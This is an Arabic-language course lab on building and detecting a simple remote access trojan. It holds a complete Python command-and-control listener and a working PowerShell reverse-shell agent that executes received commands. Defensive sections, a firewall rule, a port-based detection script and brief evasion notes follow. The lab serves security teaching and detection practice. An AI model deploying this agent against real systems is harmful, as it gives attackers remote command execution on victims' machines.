انتقل إلى المحتوى الرئيسي

مختبر 10.3: RAT بسيط مع مآخذ

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم بنية العميل-الخادم لأدوات التحكم عن بعد
  • تطوير خادم C2 بسيط بلغة Python
  • إنشاء عميل (وكيل) بلغة PowerShell
  • فهم تقنيات الاتصال للبرمجيات الخبيثة
  • اكتشاف وحظر هذا النوع من الاتصالات

المدة المقدرة​

60 دقيقة

المتطلبات المسبقة​

  • إكمال مختبر 10.1 و 10.2
  • 2 أجهزة افتراضية (مهاجم وهدف) على نفس الشبكة
  • تثبيت Python 3 على الجهاز الافتراضي المهاجم
  • PowerShell على الجهاز الافتراضي الهدف

السياق المهني​

تُستخدم RAT (أحصنة طروادة للوصول عن بعد) و C2 (التحكم والقيادة) في:

  • استخدامها من قبل فرق الاختبار الأحمر لمحاكاة الهجمات
  • في قلب معظم البرمجيات الخبيثة الحديثة
  • من الضروري فهمها للكشف

هذا المختبر يعلمك كيفية اكتشاف هذه التهديدات، وليس استخدامها بشكل ضار.


تحذير أخلاقي وقانوني حاسم​

هذا المختبر تعليمي بحت

مسموح فقط:

  • على أجهزتك الافتراضية المعزولة
  • بدون اتصال بالإنترنت
  • في إطار الدورة

ممنوع تمامًا:

  • على الأنظمة غير المصرح بها
  • مع اتصال بالإنترنت
  • لأغراض ضارة

العواقب القانونية:

  • الوصول غير المصرح به = جريمة (قانون جنائي)
  • السجن وغرامات ضخمة
  • سجل جنائي دائم

بمواصلة هذا المختبر، فإنك توافق على هذه الشروط.


الجزء 1: بنية C2​

الخطوة 1.1: مكونات RAT​

[خادم C2]                    [وكيل/عميل]
(مهاجم) (هدف)
| |
|<------ 1. اتصال --------->|
| |
|------- 2. أمر --------->|
| |
|<------ 3. نتيجة ----------|
| |
|------- 4. أمر جديد ----->|
| ... |

الخطوة 1.2: أنواع الاتصال​

النوعالاتجاهالميزةالعيب
Bind Shellمهاجم -> هدفبسيطمحظور بواسطة جدار الحماية
Reverse Shellهدف -> مهاجميتجاوز جدار الحمايةيتطلب IP متاح
HTTP C2هدف -> مهاجمخفيأكثر تعقيدًا

سنقوم بإنشاء Reverse Shell بسيط.


الجزء 2: خادم C2 (Python)​

الخطوة 2.1: إنشاء الخادم​

على الجهاز الافتراضي "المهاجم"، أنشئ serveur_c2.py:

#!/usr/bin/env python3
"""
خادم C2 تعليمي - لا تستخدم خارج المختبر
"""
import socket
import sys

def banner():
print("=" * 50)
print(" خادم C2 تعليمي - مختبر 10.3")
print(" الاستخدام: python serveur_c2.py <port>")
print("=" * 50)
print()

def start_server(port):
# إنشاء المأخذ
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
server.bind(("0.0.0.0", port))
server.listen(1)
print(f"[*] الخادم يستمع على المنفذ {port}")
print("[*] في انتظار اتصال...")

# قبول اتصال
client, address = server.accept()
print(f"[+] اتصال مستلم من {address[0]}:{address[1]}")
print()
print("اكتب أوامرك (اكتب 'exit' للخروج):")
print("-" * 50)

while True:
# قراءة الأمر
command = input("C2> ")

if command.lower() == "exit":
client.send(b"exit\n")
break

if not command:
continue

# إرسال الأمر
client.send((command + "\n").encode())

# استقبال النتيجة
result = b""
while True:
chunk = client.recv(4096)
if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
result += chunk.replace(b"END_OF_OUTPUT\n", b"")
break
result += chunk

# عرض النتيجة
print(result.decode('utf-8', errors='ignore'))

client.close()

except KeyboardInterrupt:
print("\n[!] إيقاف الخادم...")
except Exception as e:
print(f"[!] خطأ: {e}")
finally:
server.close()

if __name__ == "__main__":
banner()

if len(sys.argv) != 2:
print("الاستخدام: python serveur_c2.py <port>")
sys.exit(1)

port = int(sys.argv[1])
start_server(port)

الخطوة 2.2: تشغيل الخادم​

python3 serveur_c2.py 4444

أسئلة:

  1. على أي منفذ يستمع الخادم؟
  2. ماذا يحدث إذا كان المنفذ مستخدمًا بالفعل؟

الجزء 3: وكيل/عميل (PowerShell)​

الخطوة 3.1: إنشاء الوكيل​

على الجهاز الافتراضي "الهدف"، أنشئ agent.ps1:

# وكيل C2 تعليمي - لا تستخدم خارج المختبر
# =====================================================

param(
[Parameter(Mandatory=$true)]
[string]$ServerIP,

[Parameter(Mandatory=$true)]
[int]$ServerPort
)

Write-Host "=== وكيل C2 تعليمي - مختبر 10.3 ===" -ForegroundColor Cyan
Write-Host "الاتصال بـ $ServerIP`:$ServerPort..." -ForegroundColor Yellow

try {
# إنشاء اتصال TCP
$client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

Write-Host "متصل بالخادم C2!" -ForegroundColor Green
Write-Host "في انتظار الأوامر..." -ForegroundColor Yellow

while ($true) {
# قراءة الأمر من الخادم
$command = $reader.ReadLine()

if ($command -eq "exit" -or $command -eq $null) {
Write-Host "قطع الاتصال..." -ForegroundColor Red
break
}

Write-Host "أمر مستلم: $command" -ForegroundColor Gray

# تنفيذ الأمر
try {
$output = Invoke-Expression $command 2>&1 | Out-String
if ([string]::IsNullOrEmpty($output)) {
$output = "[تم تنفيذ الأمر بدون إخراج]"
}
} catch {
$output = "خطأ: $_"
}

# إرسال النتيجة
$writer.WriteLine($output)
$writer.WriteLine("END_OF_OUTPUT")
}

} catch {
Write-Host "خطأ في الاتصال: $_" -ForegroundColor Red
} finally {
if ($client) { $client.Close() }
Write-Host "تم إنهاء الوكيل." -ForegroundColor Red
}

الخطوة 3.2: تشغيل الوكيل​

.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444

استبدل IP بعنوان جهازك الافتراضي الخادم.


الجزء 4: اختبار الاتصال​

الخطوة 4.1: تسلسل الاختبار​

  1. الجهاز الافتراضي الخادم: شغل الخادم

    python3 serveur_c2.py 4444
  2. الجهاز الافتراضي العميل: شغل الوكيل

    .\agent.ps1 -ServerIP "IP_SERVEUR" -ServerPort 4444
  3. على الخادم، اختبر الأوامر:

    C2> whoami
    C2> hostname
    C2> Get-Process | Select-Object -First 5
    C2> Get-Date
    C2> exit

الخطوة 4.2: توثيق الاتصال​

أسئلة: 3. هل يتم تنفيذ الأوامر على العميل؟ 4. هل تعود النتائج إلى الخادم؟ 5. كم يستغرق زمن الذهاب والإياب؟


الجزء 5: الكشف والدفاع​

الخطوة 5.1: اكتشاف الاتصال​

على الجهاز الافتراضي العميل، أثناء نشاط الوكيل:

# عرض الاتصالات القائمة
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# تحديد العملية
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess

الخطوة 5.2: الكشف في السجلات​

# أحداث اتصال الشبكة (يتطلب تدقيق نشط)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 5156 # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue

الخطوة 5.3: الحظر باستخدام الجدار الناري​

# حظر الاتصالات الصادرة على المنفذ 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
-Direction Outbound `
-LocalPort 4444 `
-Protocol TCP `
-Action Block

# التحقق من القاعدة
Get-NetFirewallRule -DisplayName "Block C2*"

# إزالة القاعدة (بعد المختبر)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"

الخطوة 5.4: سكريبت الكشف التلقائي​

# سكريبت الكشف عن الاتصالات المشبوهة
Write-Host "=== الكشف عن الاتصالات المشبوهة ===" -ForegroundColor Cyan

$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)

$connections = Get-NetTCPConnection -State Established | Where-Object {
$_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}

if ($connections) {
Write-Host "`n[تحذير] تم اكتشاف اتصالات مشبوهة:" -ForegroundColor Red
foreach ($conn in $connections) {
$proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
Write-Host " المنفذ: $($conn.RemotePort) | العملية: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
}
} else {
Write-Host "`n[حسنًا] لم يتم اكتشاف أي اتصال مشبوه" -ForegroundColor Green
}

# التحقق من PowerShell مع الاتصالات الشبكية
$psSessions = Get-NetTCPConnection | Where-Object {
$proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
$proc.Name -eq "powershell" -and $_.State -eq "Established"
}

if ($psSessions) {
Write-Host "`n[تحذير] PowerShell لديه اتصالات شبكية نشطة!" -ForegroundColor Red
$psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}

أسئلة: 6. هل تم اكتشاف وكيلك؟ 7. هل يعمل الحظر بواسطة الجدار الناري؟


الجزء 6: التحسينات (مناقشة)​

الخطوة 6.1: كيف تتجنب البرمجيات الخبيثة الحقيقية الكشف​

تقنيات شائعة (للمعلومات فقط):

  • استخدام المنافذ القياسية (80، 443)
  • تشفير الاتصالات (HTTPS)
  • إشارات غير منتظمة
  • استخدام واجهات النطاق
  • نفق DNS

الخطوة 6.2: كيف يرد المدافعون​

  • التحليل السلوكي (EDR)
  • فحص SSL/TLS
  • اكتشاف الشذوذ الشبكي
  • استخبارات التهديدات
  • تحليل الصندوق الرملي

سؤال: 8. كيف ستكتشف C2 يستخدم HTTPS على المنفذ 443؟


التنظيف​

مهم: بعد المختبر، احذف الملفات:

# على الجهاز الافتراضي العميل
Remove-Item .\agent.ps1 -Force

# على الجهاز الافتراضي الخادم
rm serveur_c2.py

قم بإزالة قواعد الجدار الناري المضافة:

Remove-NetFirewallRule -DisplayName "Block C2*"

التسليمات​

  1. لقطات شاشة:

    • الخادم في وضع الاستماع
    • الوكيل متصل
    • الأوامر المنفذة
    • اكتشاف الاتصال
  2. الإجابات على الأسئلة الثمانية

  3. تحليل (صفحتان):

    • بنية RAT
    • نقاط ضعف هذا RAT البسيط
    • كيف يمكن لبرمجية خبيثة حقيقية تحسينه
    • طرق الكشف الموصى بها

معايير التقييم​

المعيارالنقاط
خادم/عميل وظيفي25%
اتصال قائم20%
الكشف مطبق25%
التحليل والفهم30%

أوامر مرجعية​

# الاتصالات
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"

# الجدار الناري
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"

# عمليات الشبكة
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique
# خادم Python
python3 serveur_c2.py 4444

# التحقق من المنافذ (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444

موارد إضافية​


الخاتمة​

أظهر لك هذا المختبر:

  1. كيف يعمل RAT بسيط
  2. بنية العميل-الخادم لـ C2
  3. تقنيات الكشف
  4. أهمية مراقبة الشبكة

الهدف هو الفهم لتحسين الكشف والدفاع.


مختبر مطور في إطار دورة أنظمة التشغيل - الوحدة 10